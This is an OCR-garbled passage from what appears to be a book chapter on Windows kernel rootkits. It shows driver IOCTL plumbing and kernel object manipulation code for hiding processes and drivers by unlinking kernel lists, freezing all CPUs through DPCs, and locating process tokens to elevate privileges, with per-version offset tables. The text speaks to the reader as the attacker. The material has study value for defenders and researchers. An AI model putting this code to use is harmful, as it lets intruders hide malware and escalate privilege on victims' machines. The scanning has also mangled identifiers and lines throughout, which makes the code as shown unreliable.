#define | OCTL_DRV_VER (ULONG CTL_CODE( FI LE_DEV_DRV, 0x02,
METHOD BUFFERED,
FI LE_WRI TE_ACCESS)

#define | OCTL_TRANSFER TYPE( iocontrol) (_iocontrol & 0x3)

In this example, there aretwo IOCTLs: IOCTL_DRV_INIT and IOCTL_DRV_VER. Both usethe /O
passing method called METHOD_BUFFERED. With this method, the I/O manager copies datafrom the
user stack into the kernel stack. By referring to the .h file, the user program can use the Devicel oControl
function to talk to the driver. The program requires an open handle to the driver, and the correct IOCTL



code to use. Before you can compile the user program, you must include winioctl.h before your own
custom .h containing your IOCTLS.

An exampleis provided in the following code, representing the userland portion of the rootkit. It
includes winioctl.h aswell as the .h file holding the definitions of the IOCTLSs, ioctlicmd.h. Once a
handle to the driver is opened, the user code passes down an IOCTL for the initialization function.

#i

#i

#i

#i

#i

#i

ncl ude <wi ndows. h>
ncl ude <stdio. h>
ncl ude <string. h>
ncl ude <wi nioctl . h>
ncl ude "fu. h"

nclude "..\SYS\ioctlcnd. h"

i nt mai n(voi d)

{

gh_Devi ce = | NVALI D HANDLE_VALUE; //
/1 Open a handle to the driver here.
i f (! DeviceloControl (gh_Devi ce,

| OCTL_DRV_INIT,

NULL,

&d byt esRead,

NULL) )

Handl e to rootkit driver

See Chapter 2 for details.

fprintf(stderr, "Error Initializing Driver.\n");



In the DriverEntry of the rootkit, you must create the device object with the associated name and the
symbolic link to the device, and set up the MajorFunction table within the driver with the pointers of al
the functions that will handle the individual IRP_MJ * types. We cover these topicsin detail in Chapter
2, Subverting the Kernel. We will review them here.

The device object and symbolic link must be created so that the userland portion of the rootkit can open
ahandleto the driver. In the following code, RootkitDispatch handles the

IRP_MJ DEVICE_CONTROL, which isthe IRP used when a userland program sends an IOCTL to a
driver with the DeviceloControl function. It is aso possible to specify functions to handle plug-and-play,
open, close, unload, and other events, but that is beyond the scope of this discussion.

const WCHAR devi ceLi nkBuffer[] L"\\ DosDevi ces\\ nsdi rect x";
const WCHAR devi ceNaneBuffer[] = L"\\Device\\nsdirectx";
NTSTATUS DriverEntry(I N PDRI VER OBJECT Driver (bject,

I N PUNI CODE_STRI NG Regi st r yPat h)

NTSTATUS nt St at us;

UNI CODE_STRI NG devi ceNanmeUni codeStri ng;

UNI CODE_STRI NG devi ceLi nkUni codeStri ng;

[l Set up our nanme and synbolic |ink.

Rt 11 nitUnicodeString (&devi ceNanmeUni codeStri ng,
devi ceNaneBuffer );

RtI1nitUnicodeString (&devi ceLi nkUni codeStri ng,
devi ceLi nkBuffer );

/'l Create the device.

ntStatus = | oCreateDevice ( Driverject,

0, // for driver extension

&devi ceNanmeUni codeString, // device nam



FI LE_DEV_DRYV,
0,
TRUE,
&g Root ki t Devi ce );
I (! NT_SUCCESS(ntStatus))
{
DebugPrint(("Failed to create device!\n"));
return ntStatus;
}
/'l Create the synbolic link.
nt Status = | oCreateSynbolicLi nk (&devi ceLi nkUni codeStri ng,
&devi ceNameUni codeString );

I (! NT_SUCCESS(ntStatus))

{
| oDel et eDevi ce(Dri ver Obj ect - >Devi ce(hj ect) ;
DebugPrint ("Failed to create synmbolic Iink!\n");
return ntStatus;

}

/1 Create a pointer to our |IRP handler function for
/1 the IRP called IRP_M _DEVI CE_ CONTROL. This pointer

/1l goes in the table of function pointers in our driver.

Driver Qbj ect - >Maj or Functi on[ | RP_M_DEVI CE_CONTRCOL] Root ki t Di spat cl



The RootkitDispatch function follows. RootkitDispatch first gets the current stack location from the IRP
so that it can retrieve the input and output buffers and other vital information. Within the IRP stack is
the major function code of the IRP. Remember, thiswill be IRP_MJ DEVICE_CONTROL for IOCTLs
coming from our userland process. Another important field in the IRP stack is the control codes of the
IOCTL. These are the control codesin ioctlcmd.h, mentioned earlier. The codes in the rootkit and the
userland code must agree.

NTSTATUS Root ki t Di spat ch(1 N PDEVI CE_OBJECT Devi ce(bj ect,

IN PIRP Irp)
{
Pl O STACK LOCATI ON ir pSt ack;
PVA D I nput Buf f er;
PVA D out put Buf f er;
ULONG I nput Buf f er Lengt h;
ULONG out put Buf f er Lengt h;
ULONG i oCont r ol Code;
NTSTATUS nt st at us;

/'l Go ahead and set the request up as successful

ntstatus = Irp->loStatus. Status = STATUS_ SUCCESS;

I rp->loStatus. I nformation = O;

/'l Get a pointer to the current location in the |IRP.

/'l This is where the function codes and paraneters

/'l are | ocat ed.

I rpStack = loGetCurrentlrpStackLocation (lrp);

/] Get the pointer to the input/output buffer, and its | ength.

| r p- >Associ at edl rp. SystenBuffer;

I nput Buf f er

i nput Buf f erLengt h i rpSt ack->Par anet ers. Devi cel oControl . | nput Buf ferl

out put Buf f er = |l rp->Associ at edl rp. Syst enBuf fer;



out put Buf f er Lengt h i rpSt ack->Par anet ers. Devi cel oCont r ol . Qut put Buf f ¢

i oCont r ol Code

i rpSt ack->Par anet ers. Devi cel oControl .1 oControl G
switch (irpStack->Mj or Function) {
case | RP_M_CREATE
br eak;
case | RP_MJ_CLOSE
br eak;
/Il W are interested in these I RPs because
/'l they come from our userland program
case | RP_MI_DEVI CE_CONTROL:
switch (ioControl Code) {
case | OCTL_DRV_I NIT:
/'l Insert code to initialize the rootkit
/1l if necessary.
br eak;
case | OCTL_DRV_VER:
/'l Return the rootkit version information
/1 if you want.

br eak;

br eak;

}
| oConpl et eRequest ( I rp, 1O _NO | NCREMENT ) ;

return ntstatus;



Y ou should now understand how to communicate with a device driverwhich could be your rootkitfrom a
userland process. But that is the boring stuff. Now let's see what a rootkit in the kernel can do.



Hiding with DKOM

All operating systems store accounting information in memory, usually in the form of structures or
objects. When a userland process requests of the operating system information such as alist of
processes, threads, or device drivers, these objects are reported back to the user. Since these objects are
In memory, you can alter them directly; it is not necessary to hook the API call and to filter the answer.

Process Hiding

The Windows NT/2000/X P/2003 operating system stores executive objects describing processes and
threads. These objects are referenced by Taskmgr.exe and other reporting toolsto list the running
processes on the machine. ZwQuery Systeml nformation uses these objects to list the running processes.
By understanding and modifying these objects, you can hide processes, elevate their privilege levels, and
perform other modifications.

The Windows operating system's list of active processesis obtained by traversing a doubly linked list
referenced in the EPROCESS structure of each process. Specifically, a process's EPROCESS structure
containsaLIST_ENTRY structure that has the members FLINK and BLINK. FLINK and BLINK are
pointers to the processes in front of and behind the current process descriptor.

To hide a process, you must understand the EPROCESS structure, but first you must find onein
memory. The EPROCESS structure changes in almost every release of the operating system, but you can
aways find a pointer to the current running process, and hence its EPROCESS, by calling
PsGetCurrentProcess. This function is actually an aliasfor |0GetCurrentProcess. If you disassemble this
function, you will seethat it isjust two moves and areturn:

nov eax, fs:0x00000124;
mov eax, [eax + 0x44];

ret

Why does this code work? Windows has what it calls the Kernel's Processor Control Block (KPRCB),
which isunique and is located at Oxffdff120 in kernel space. The Assembly code for
loGetCurrentProcess goes to the offset 0x124 from the fs register. Thisis the pointer to the current
ETHREAD. From the ETHREAD block, we follow the pointer in the KTHREAD structure to the
EPROCESS block of the current process. We then traverse the doubly linked list of EPROCESS blocks
until we locate the process we wish to hide (see Figure 7-1).

Figure 7-1. Path from KPRCB to the linked list of processes.
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Oneway to find a processis by its Process Identifier (PID). The PID islocated at an offset within the
EPROCESS block that varies depending on the version of the operating system in which the rootkit is
running. Here is where determining the operating system version, discussed earlier, will comeinto play.
Based upon current data as of thiswriting, Table 7-1 shows the various operating-system versions
offsets of the PID within the EPROCESS structure.

PID Offset

0x94

0x9C

0x84

0x84

0x84

FLINK Offset (to traverse the list of processes)

0x98

OxAO

0x88

0x88



0x88

Table 7-1. Offsets to the PID and FLINK within the EPROCESS bhlock.

Windows Windows Windows Windows Windows
NT 2000 XP XPSP2 2003

The code that follows uses these offsets to traverse the linked list of processes searching for a particular
PID. The function returns the address of the EPROCESS block requested by the variable terminate_PID.

/'l Fi ndProcessEPROC takes the PID of the process to find and
/'l returns the address of the EPROCESS structure for the desired proces
DWORD Fi ndProcessEPROC (int term nate_ Pl D)
{
DWORD epr oc = 0x00000000;

I nt current _PID = 0;

I nt start PID = 0;
I nt i _count = 0;
PLI ST _ENTRY plist_active_procs;
If (termnate PID == 0)

return term nate_ PI D,
/'l Cet the address of the current EPROCESS
eproc = (DWORD) PsCet Current Process();
start_PID = *((int *)(eproc+Pl DOFFSET));
current_PID = start_PI D,

whi | e( 1)



if(termnate PID == current_PID) // found
return eproc;
else if((i _count >= 1) && (start _PID == current _PID))
{
return 0x00000000;
}
else { // Advance in the list.

plist_active_procs = (LI ST_ENTRY *) (eproc+FLI NKOFFSET) ;

eproc (DWORD) plist_active procs->Flink;

eproc = eproc - FLI NKOFFSET,;

current_PID = *((int *)(eproc+Pl DOFFSET));

i _count ++;

Hiding aprocess by PID isnot always practical. Since PIDs are pseudo-random, your rootkit may more
reliably hide processes by name. The process nameis also found in the EPROCESS block, as a character
array. To find the process name offset within the EPROCESS block, call the following function from
within the DriverEntry function of your rootkit:

ULONG Cet Locati onOf ProcessNane()
{
ULONG ul of fset;
PEPROCESS Current Proc = PsGet Current Process();

[l This wll fail if the EPROCESS grows | arger



/1l than a page size.

for(ul _offset = 0; ul_offset < PAGE_SI ZE; ul offset++)

{
if( !'strncnp( "Systent, (PCHAR) CurrentProc + ul _offset,

strlen("Systent)))

return ul offset;

}
return (ULONG O;

GetL ocationOf ProcessName returns the offset within the EPROCESS structure of the process name. It
works because DriverEntry is always called by the System processif the driver was loaded by using the
Service Control Manager (SCM). This function scans memory starting at the current EPROCESS
structure, looking for the word System. When " System™ is found, the function returns the offset. (This
technique wasfirst discovered by Sysinternals, and is used by many of the company'stools.) Using this
codeto find the offset of the process name, you can modify FindProcessEPROC to search by process
name instead of PID.

However, keep in mind that process names are not unique. The process name within the EPROCESS
structure is a 16-byte character string usually containing the first 16 characters of the binary on disk that
represents the object code. It isonly the PID that makes the process unique.

Once you find the EPROCESS of the process to hide, you must change the FLINK and BLINK pointer
values of the forward and rearward EPROCESS blocks to point around the process to be hidden. As
illustrated to Figure 7-2 , the BLINK contained in the forward EPROCESS block is set to the value of
the BLINK contained in the EPROCESS block of the processto hide, and the FLINK of the process
contained in the EPROCESS block of the rearward process is set to the value of the FLINK contained in
the EPROCESS block of the process that is being hidden.

Figure 7-2. lllustration of the active-process list after hiding the current process.
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The following code calls FindProcessEPROC to find the EPROCESS block of the process to hide,
indicated by PID_TO_HIDE. It then alters the EPROCESS block that is returned in order to disconnect
the process from the doubly linked list.

DWORD eproc = O;
PLI ST_ENTRY plist_active_procs;

/! Find the EPROCESS to hide.

eproc = FindProcesseEPROC (PID_TO HI DE);
I f (eproc == 0x00000000)
return STATUS | NVALI D PARAMETER;

plist_active procs = (LI ST _ENTRY *) (eproc+FLI NKOFFSET) ;



/'l Change the FLINK and BLINK of the rearward and forward EPROCESS bl o«
*((DWORD *)plist_active procs->Blink) = (DWORD) plist_active procs->Fli
*((DWORD *)plist_active_procs->Flink+l) = (DWORD) plist_active_procs->l
/1 Change the FLINK and BLINK of the process we are hiding so that whel

/1 it is dereferenced, it points to a valid nenory region.

plist_active_procs->Flink (LI ST_ENTRY *) &(plist_active_procs->Flink]

plist_active_procs->Blink (LI ST_ENTRY *) &(plist_active_procs->Flink]

If the EPROCESS block is found, the code altersthe FLINK of the EPROCESS block preceding it in the
list and the BLINK of the EPROCESS block following it.

Y ou will notice that the last two lines alter the FLINK and BLINK of the process being hidden. On the
EPROCESS being hidden, we change the FLINK and BLINK to point to themselves. If thisis not done,
our rootkit may produce seemingly random Blue Screens of Death when exiting the hidden process. This
IS due to the private kernel function, PspExitProcess.

Asyou can imagine, when a process is being destroyed, the linked list of processes must be updated to
reflect the changes. The FLINK and BLINK of the EPROCESS blocks before and after the process
exiting are changed. However, what happens to the hidden process when one of its neighbors exits?
Nothing. Thisisthe problem. The pointersin the FLINK and BLINK of the hidden process may no
longer point to valid processes, or even to valid memory regions. To fix this problem, the last two lines
of code change the hidden EPROCESS block to point to itself. Therefore, it isalways valid when
PspExitProcessis called.

Notes on Process Scheduling

Intuitively, one would think that hiding a process by removing its process descriptor from the doubly
linked list of EPROCESS blocks would prevent the process from being allocated atime slot in which to
execute. However, we have observed that thisis not the case. The Windows scheduling algorithm is
highly complex, executed at thread granularity, priority-based, and pre-emptive. Accordingly, athread is
scheduled to run for a quantum of time, which is the length of time before Windows interrupts the
thread to check for other threads of the same or higher priority or to reduce the priority level of the
current thread. A process may have multiple threads of execution; each thread is represented by an
ETHREAD structure.

In the next section, we will present avery similar technique to hide drivers. They, too, are stored in a
doubly linked list in the kernel.



Device-Driver Hiding

Driver hiding is clearly avery important part of your rootkit arsenal. One of the first places an
administrator may look if she suspects an intruder isthe list of device drivers. The drivers.exe utility
from the Microsoft Resource Kit is one tool an administrator can use to list the drivers on a machine.
Other tools, such as the Windows Device Manager, display similar information about the device drivers
on the system. In addition to these tools from Microsoft, many third-party vendors provide their own
utilities.

All of theserely on the kernel function ZwQuerySystemlinformation. This function, with a

SYSTEM _INFOMATION_CLASS of 11, returnsthe list of loaded modulesin the kernel. If you have
read the preceding chapters, this function should sound familiar: It is the same function hooked in the
SSDT section of Chapter 4 to hide processes. (In that section, however, we were looking for a different
class number.)

In this section, we will show you, as the attacker, how to modify the doubly linked list of loaded
modules (which includes your rootkit) using DKOM without a kernel hook, much aswe did in the
preceding section on hiding processes.

The following MODULE_ENTRY object is used by the kernel to keep track of the driversin memory.
Notice that the first member in the structureisaLIST_ENTRY. We saw previously how such entries
operate, and how to modify one to make it disappear from alinked list.

/'l Undocunented Moddule Entry in kernel nenory:
/1
typedef struct _MODULE ENTRY {
LI ST _ENTRY nodule list_entry;
DWORD unknownl[ 4] ;
DWORD base;
DWORD driver _start;
DWORD unknown2;
UNI CODE_STRI NG dri ver Pat h;
UNI CODE_STRI NG dri ver _Nane;
...

} MODULE_ENTRY, *PMODULE_ENTRY;



Thereal trick isto find this doubly linked list in the first place. Finding the list of processesis simple,
because you can aways get the EPROCESS block of the current process by calling
PsGetCurrentProcess. Thereis no such call to get thelist of drivers, however.

Some have tried to search memory for thislist of drivers, but that solution is|ess than optimal. When
searching through memory for the kernel functions that reference thislist, it iscommon to use a
signature. However, these functions change between versions of the operating system. In XP and later
versions of Windows, the Kernel Processor Control Block (KPRCB) contains extrainformation in
which you can locate the list of drivers, but thisis not aviable solution if your rootkit isinstalled on
earlier versions of the operating system.

We have devised away to find the location of the linked list of drivers. Using WinDbg, we can view the
members of the DRIVER_OBJECT structure. They follow:

t ypedef struct DRI VER OBJECT {

short Type; /1 1nt2B

short Si ze; /[l Int2B

PVA D Devi cehj ect; [l Ptr32 _DEVI CE_ OBJECT
DWORD Fl ags; [l U nt4B

PvVO D DriverStart; /1 Ptr32 Void

DWORD Dri ver Si ze; /1 U nt4B

PVO D Driver Secti on; /1l Ptr32 Void

PVAO D Dri ver Ext ensi on; /1 Ptr32 DRI VER EXTENSI ON

UNI CODE_STRI NG Driver Nane; // _UN CODE_STRI NG

UNI CODE_STRI NG Har dwar eDat abase; // Ptr32 _UN CODE_STRI NG

PVO D Fast | oD spat ch; /'l Ptr32 _FAST_I O DI SPATCH
PvO D Driverlnit; /] Ptr32

PVvO D DriverStartlo; Il Ptr32

PVA D Dri ver Unl oad; /'l Ptr32

PVO D Maj or Functi on /1 [28] Ptr32

} DRI VER OBJECT, *PDRI VER OBJECT;



One of the undocumented fieldsin the DRIVER_OBJECT structure is a pointer to the driver's
MODULE_ENTRY. Itisat offset 0x14 within the DRIVER_OBJECT, which would make it the
DriverSection in the previous structure. Aslong as you load your rootkit using the Service Control
Manager (SCM), you always get a pointer to the DRIVER_OBJECT in the DriverEntry function. The
following codeillustrates how to find an arbitrary entry in thelist of loaded modules:

DWORD Fi ndPsLoadedModul eLi st (I N PDRI VER OBJECT Driver Qbj ect)
{
PMODULE _ENTRY pm current;
I f (DriverQbject == NULL)
return O;
/'l Dereference offset Ox14 within the driver object.
/'l Now you should have the address of a nodule entry.
pmcurrent = *((PMODULE_ENTRY*) (( DACRD) Dri ver Obj ect + 0x14));
If (pmcurrent == NULL)
return O;
gul PsLoadedMbdul eLi st = pm current;

return (DWORD) pm current;

Once you have found a single entry in the list of modules, you can walk the list until you find the oneto
hide. It isasimple matter of changing the FLINK and BLINK pointers of its neighbors, as discussed in
the preceding section. Using this method to hide adriver isillustrated in Figure 7-3 and demonstrated in
the following code snippet.

Figure 7-3. List of driver entries in the doubly linked list.

[View full size image]
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PMODULE _ENTRY pm current;

UNI CODE_STRI NG uni _hi de_Dri ver Naneg;

/1 W are going to walk the list of drivers with no synchronization foi
raise the RQL to DI SPATCH LEVEL becau:

/1 multiple threads. W can not

/'l we are using Rt|ConpareUni codeString, which nust be called at
/'l PASSI VE_LEVEL.
pm current = gul PsLoadedModul eLi st ;
whi | e (( PMODULE_ENTRY) pm current ->l e_nod. Fl i nk! =gul _PsLoadedMbdul eLi st
{
if ((pm_current->unkl !'= 0x00000000) &&
(pm.current->driver_Path.Length != 0)
{ [/ Conpare the nanme of the target to every driver's nane.
if (Rtl ConpareUni codeString(&uni _hide DriverNanme, & pm current->(

FALSE) 0)

{ I/ Ater the neighbors.

*( (PDWORD) pm_cur rent - >l e_nod. Bl i nk) =( DWORD) pm_cur r ent - >l e_nod.



pm current->le_nod. Fl i nk->Bl i nk = pm_current->le_nod. Bl i nk;
br eak;

}

} // Advance in the list.

pmcurrent = (MODULE _ENTRY*) pm current->l e _nod. Fl i nk;

In the preceding code segment, pm_current is used to walk the list of loaded modules looking for the
driver to hide, uni_hide DriverName. For each module in the list, a comparison is made between the
UNICODE strings of the driver to hide and the one currently being analyzed in the list. If the names are
equal, the FLINK and the BLINK of the MODULE_ENTRY s before and after the one being hidden are
changed.

In this example, we do not make any change to the module being hidden, as we did when hiding a
process. Thisisajudgment call. Because drivers do not usually load and unload like processes, the
modification is probably not required.

Note that the function that compares UNICODE strings must be called at PASSIVE_LEVEL. The
importance of thiswill be seen in the following section on synchronization.

Synchronization Issues

Walking the linked list of active processes using the EPROCESS structure directly is dangerous, asis
walking the linked list of loaded modules. Processes can be created and torn down by the kernel while
the rootkit is swapped out, or by another processor if the rootkit isinstalled on a multiprocessor system.
Also, adriver can be unloaded while the rootkit that had been walking the linked list of modulesis
swapped out.

To walk the doubly linked list of processesin a safe manner, your rootkit should grab the appropriate
mutex, PspActiveProcessMutex. This mutex is not exported by the kernel. PsLoadedM odul eResource
controls access to the doubly linked list of loaded modules.

One way to find these and other symbols that are not exported is to search memory for a particular
pattern. This solution is not very elegant, but empirical evidence suggestsit isviable. The drawback to
searching memory is that the search pattern is very dynamic and differs with even minor variationsin
the operating system.

Walking and modifying these lists becomes dangerous only when the rootkit making the modifications
Is pre-empted by another thread in another process. The kernel dispatcher isresponsible for pre-empting
the running thread with a new one, and the dispatcher runs at an IRQL of DISPATCH_LEVEL.
Therefore, if athread isrunning at DISPATCH_LEVEL it should not be pre-empted. However, threads



can run on other CPUs in the same computer. So, to avoid pre-emption, we must raise all processors to
DISPATCH_LEVEL. Theonly IRQLshigher than DISPATCH_LEVEL are Device IRQLs (DIRQLS),
but these are for processing device hardware interrupts; if weraisethe IRQL to DISPATCH_LEVEL
across all processors on the machine, we should be relatively safe.

Y ou must be careful regarding what your rootkit does at DISPATCH_LEVEL. Certain functions cannot
be called at this elevated IRQL. Also, your rootkit cannot touch any memory that is paged out. If it does,
aBlue Screen of Death will occur.

Y our rootkit will need global variables to keep track of whereit isin the process of raising al the CPUs
to DISPATCH_LEVEL, and for signaling when to exit. For our purposes, we will call these
AllCPURaised and NumberOfRaisedCPU. The AllICPURaised variable acts like a Boolean value. When
it isequal to one, all the processors have been raised to DISPATCH_LEVEL; thiswill signal the
individual threads that they can exit. NumberOfRaisedCPU isthe total count of CPUs raised to
DISPATCH_LEVEL. Use the InterlockedX XX functions to change these globalsin an atomic manner.

In our primary code in the rootkit, we need to elevate the IRQL it isrunning at. Call KeGetCurrentlrgl to
determine what IRQL you are currently running at. Only if it islessthan DISPATCH_LEVEL do you
want to call KeRaiselrq|.

Note: If the new IRQL islessthan the current IRQL, abug check will occur.

Hereisthe code that raises the current rootkit thread to DISPATCH_LEVEL.:

KIRQL Currentlrqgl, Adlrqgl;

/'l Raise | RQL here.

Currentlrgl = KeGetCurrentlrqgl();
Adlirgl = Currentlrql;

if (Currentlrql < DI SPATCH LEVEL)

KeRai sel rgl (DI SPATCH LEVEL, & dlrql);

Now we need to elevate the IRQL of all other processors. For our purposes, a Deferred Procedure Call
(DPC) will do the trick.

A great benefit of DPCsisthat they run at DISPATCH_LEVEL. Another major advantageis that you
can specify which CPU they run on. We will create a DPC for each of the other processors. A ssimple for
loop iterating over the total number of processors, KeNumberProcessors, should work nicely.

Before we begin the for loop, we will call KeCurrentProcessorNumber to determine which processor the
master rootkit thread is executing on. Since we have aready raised its IRQL and since the master rootkit
thread will do all the work of altering the shared resources, such asthe list of processes and drivers, we



do not want to make it run our DPC. In the for loop, initialize each DPC by calling KelnitializeDpc.
This function takes the address of the function that will become the code for the DPC to run. In our case,
it is RaiseCPUIrglAndWait.

After the DPC isinitialized, the KeSetTargetProcessorDPC function assigns a separate processor for
each DPC the rootkit has created. Executing these DPCs is simply a matter of putting each DPC in the
DPC gueue for the corresponding processor with acall to KelnsertQueueDpc. At the end of the
GainExclusivity function is atight while loop that compares the value in NumberOfRai sedCPU to the
number of processors minus one. Once these values are equal, all the processors have been set to run at
DISPATCH_LEVEL, and the rootkit has total priority over anything (except DIRQLS, which are not of
concern).

Hereisthe code for GainExclusivity:

PKDPC Gai nExcl usi vity()
{
NTSTATUS ns;
ULONG u_current CPU;
CCHAR i ;
PKDPC pkdpc, tenp_pkdpc;
If (KeGetCurrentlrqgl () !'= DI SPATCH LEVEL)
return NULL;
/1l Initialize both globals to zero.
I nt erl ockedAnd( &Al | CPURai sed, 0);
I nt er |l ockedAnd( &Nunber Of Rai sedCPU, 0);
/'l Allocate roomfor our DPCs. This nust be in NonPagedPool !
tenp_pkdpc = (PKDPC) ExAl | ocat ePool (NonPagedPool , KeNunber Processor:
si zeof (KDPQ) ) ;
I f (tenp_pkdpc == NULL)
return NULL; // STATUS | NSUFFI Cl ENT_RESOURCES;
u_current CPU = KeCet Current Processor Nunber () ;

pkdpc = tenp_pkdpc;



for (i = 0; I < KeNunberProcessors; i++, *tenp_pkdpc++)

{
/'l NMake sure we don't schedule a DPC on the current
[l processor. This woul d cause a deadl ock.
if (i !'= u_currentCPU)
{
KelnitializeDpc(tenp_pkdpc,
Rai seCPUI r gl AndWai t,
NULL) ;
/'l Set the target processor for the DPC, otherw se,
/1 it wll be queued on the current processor when
/'l we call KelnsertQueueDpc.
KeSet Tar get Processor Dpc(tenp_pkdpc, i);
Kel nsert QueueDpc(tenp_pkdpc, NULL, NULL);
}
}

whi | e( I nterl ockedConpar eExchange( &Nunber Of Rai sedCPU,
KeNunber Processors-1, KeNunber Processors-1) !=

KeNunber Processor s-1)

__asm nop;

}
return pkdpc; //STATUS SUCCESS;



When GainExclusivity runs, RaiseCPUIrglAndWait is executed by the DPCs. All it doesisincrement in
an atomic manner the total number of processors that have been raised to DISPATCH_LEVEL. Then, it
waitsin atight loop until it receivesthe signal that it is safe to exit, that signal being the AlICPURaised

variable equaling one.

FEEEEEEEEE i bbbt bbb r g

/' Rai seCPUl r gl AndWai t

I

/'l Description:

Il

Il

/11

/1

/1

This function is called when the DPC is run. Hence, it
runs at DI SPATCH LEVEL. All it does is increnent a coul
of the nunber of CPUs that have been raised to

DI SPATCH LEVEL. It then waits in a |loop to be signal ed
that it is safe to termnate the DPC, resulting in the

CPU being rel eased from DI SPATCH LEVEL.

Rai seCPUI r ql AndWai t (1 N PKDPC Dpc,

I N PVO D Def erredCont ext,
IN PVO D Syst emAr gunent 1,

I N PVO D Syst emAr gunrent 2)

I nt erl ockedl ncr enent (&Nunber O Rai sedCPU) ;

whi l e(!I nterl ockedConpar eExchange( &Al | CPURai sed, 1, 1))

{

}

__asm nop;

I nt erl ockedDecr enent ( &Nunber Of Rai sedCPU) ;



Y our rootkit can now modify the shared list of processes or drivers.

When you are finished doing your work, the main rootkit thread needs to call ReleaseExclusivity to free
al the DPCs from their tight loop, and to free the memory that had been allocated by GainExclusivity to
hold the DPC objects.

NTSTATUS Rel easeExcl usi vity(PVO D pkdpc)

{
I nt erl ockedl ncrenent (&Al | CPURai sed); // Each DPC wi || decrenent
/1 the count now and exit.
/1 W need to free the nenory allocated for the DPCs.
whi | e( I nterl ockedConpar eExchange( &Nunber Of Rai sedCPU, 0, 0))
{
__asm nop;
}
I f (pkdpc !'= NULL)
{
ExFr eePool ( pkdpc);
pkdpc = NULL;
}
return STATUS SUCCESS;
}

With the information in this section, you can now unhook from LIST _ENTRY s easily and in athread-
safe manner. But a hidden processis not very useful if it does not have the privilege needed to do what it
isintended to do. In the next section, you will learn how to increase the privilege of any process's token,
aswell as how to add any group to the token.



Token Privilege and Group Elevation with DKOM

A process's token is al-important when it comes to determining what the process is allowed and not
allowed to do. A processs token is derived from the log-on session of the user that spawned the process.
Every thread within a process can have its own token; however, most threads use their default process
token.

One important goal of arootkit writer isto gain elevated access. This section covers gaining elevated
privilege for anormal process once your rootkit has already been installed. Thisis useful because you
want to exploit only once, install your rootkit, and then return under more-normal circumstances so that
your original vector of entry is not discovered.

The code in this section will deal only with a process's token; however, it could easily be applied to a
thread's token. The only difference is how you would locate the token in question. All the rest of the
techniques and code remain the same.

Modifying a Process Token

To modify a process token, the Win32 API provides several functions, including OpenProcessToken(),
AdjustTokenPrivileges(), and AdjustTokenGroups(). All of these functions, and the others that modify
process tokens, require certain privileges, such as TOKEN_ADJUST GROUPS and
TOKEN_ADJUST_PRIVILEGES. This section covers away to add privileges and groups to a process's
token without any special privileged access to the process's token. Once your rootkit isinstalled, DKOM
isthe only "privilege" you need to understand.

Finding the Process Token

Using the FindProcessEPROC function from the Process Hiding subsection earlier in this chapter to find
the address of the EPROCESS structure of the process whose token your rootkit will modify, add the
token offset to it. The result will be the location within the EPROCESS containing the address of the
token. Usetheinformation in Table 7-2 as a guide.

Token Offset

0x108

0x12c

Oxc8

Oxc8

0xc8

Table 7-2. Offsets to token pointer within the EPROCESS block.



Windows Windows Windows Windows Windows
NT 2000 XP XPSP2 2003

The member of the EPROCESS structure containing the address of the token was changed between
Windows 2000 (and prior versions) and the newer Windows XP (and later versions). It isnow an
_EX_FAST_REF structure, which is defined as follows:

t ypedef struct _EX FAST REF {
uni on {
PVO D hj ect ;
ULONG RefCnt : 3;
ULONG Val ue;
b
} EX_FAST_REF, *PEX_FAST_REF;

To find the process token, use the following FindProcessToken function:

DWORD Fi ndProcessToken ( DWORD epr oc)
{
DWORD t oken;
__asm {
nov eax, eproc;
add eax, TOKENOFFSET; // offset of token pointer in EPROCESS
nov eax, [eax];
and eax, Oxfffffff8; // See definition of _EX FAST_ REF.

nov token, eax;



return token;

Y ou will notice that within the inline assembly we drop the last 3 bits of the token address with the
instructionand eax, fffffffg .Asitturnsout, token addresses always end with the last three bits
equal to zero; therefore, although the member that represents the token address has changed, we still can
recover the address of the token and it will not hurt anything if we change the last three bits on older
versions of the OS.

Modifying the Process Token

Tokens are very difficult to modify. They are composed of static and variable parts. The static portion
does not change in size (hence its name). It has awell-defined structure. The variable part is much less
predictable. It contains all the privileges and SIDs belonging to the token. The exact number of these
varies depending on the credentials of the user who created the process (or whom the processis
impersonating).

While reading the following code, it will help if you keep in mind the structure of atoken, asillustrated
inFigure 7-4 .

Figure 7-4. Memory structure of a process token.
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Within atoken are many offsets to information you will need in order to modify the token. For instance,
if you add a privilege or agroup SID to the token, you must increment the part of the static portion of
the token that stores the count. As previously mentioned, all the privileges and SIDs are stored in the
variable portion of the token, since their size can vary from token to token. One of the offsetsin the
token contains the address of the variable portion of the token and its length. Y ou will need these when
you add information. Table 7-3 lists most of the offsets you will use in your rootkit.

AUTH_ID Offset

0x18

0x18

0x18

0x18

0x18

S D Count Offset

0x30

0x3c

0x40

Ox4c

Ox4c

S D Address Offset

0x48

0x58

0x5¢c

0x68

0x68

Privilege Count Offset

0x34

0x44

0x48

0x54



0x54
Privilege Address Offset
0x50
Ox64
0x68
Ox74

Ox74

Table 7-3. Important offsets within the process token.

Windows Windows Windows Windows Windows
NT 4.0 2000 XP XPSP2 2003

Adding Privileges to a Process Token

To add anew privilege or enable a currently disabled privilege in a process token, we can use a user-
level program to send IOCTLsto our rootkit. A userland portion is very useful for this application
because many of the Win32 APIsthat deal with tokens, privileges, and SIDs are not documented in the
kernel.

Therootkit in the kernel will take the privilege information received from the user-mode program and
writeit directly to memory. In this case, the memory that is changed is the privilege portion of the
targeted process token. Remember that because we are not going through the Windows Object Manager
when we write directly to memory, we can assign a process token whatever privileges and groups we
want.

Before we can tell the rootkit what privileges to add or enable in a given process, we must know alittle
about token privileges. Following are some privileges listed in ntddk.h. (Not all of these apply to
processes.)

» SeCreateTokenPrivilege

o SeAssignPrimaryTokenPrivilege

« Sel.ockMemoryPrivilege

 SelncreaseQuotaPrivilege

« SeUnsolicitedlnputPrivilege

« SeMachineAccountPrivilege



« SeTcbPrivilege

o SeSecurityPrivilege

o SeTakeOwnershipPrivilege

o Sel oadDriverPrivilege

o SeSystemProfilePrivilege

o SeSystemtimePrivilege
 SeProfileSingleProcessPrivilege
» SelncreaseBasePriorityPrivilege
o SeCreatePagefilePrivilege

» SeCreatePermanentPrivilege

« SeBackupPrivilege

» SeRestorePrivilege

o SeShutdownPrivilege

« SeDebugPrivilege

o SeAuditPrivilege

» SeSystemEnvironmentPrivilege
« SeChangeNotifyPrivilege

« SeRemoteShutdownPrivilege

« SeUndockPrivilege

o SeSyncAgentPrivilege

« SeEnableDelegationPrivilege

Y ou can use Process Explorer from Sysinternald 1] to view the current privileges of a process. Notice in
Figure 7-5 that many privileges come disabled by default.
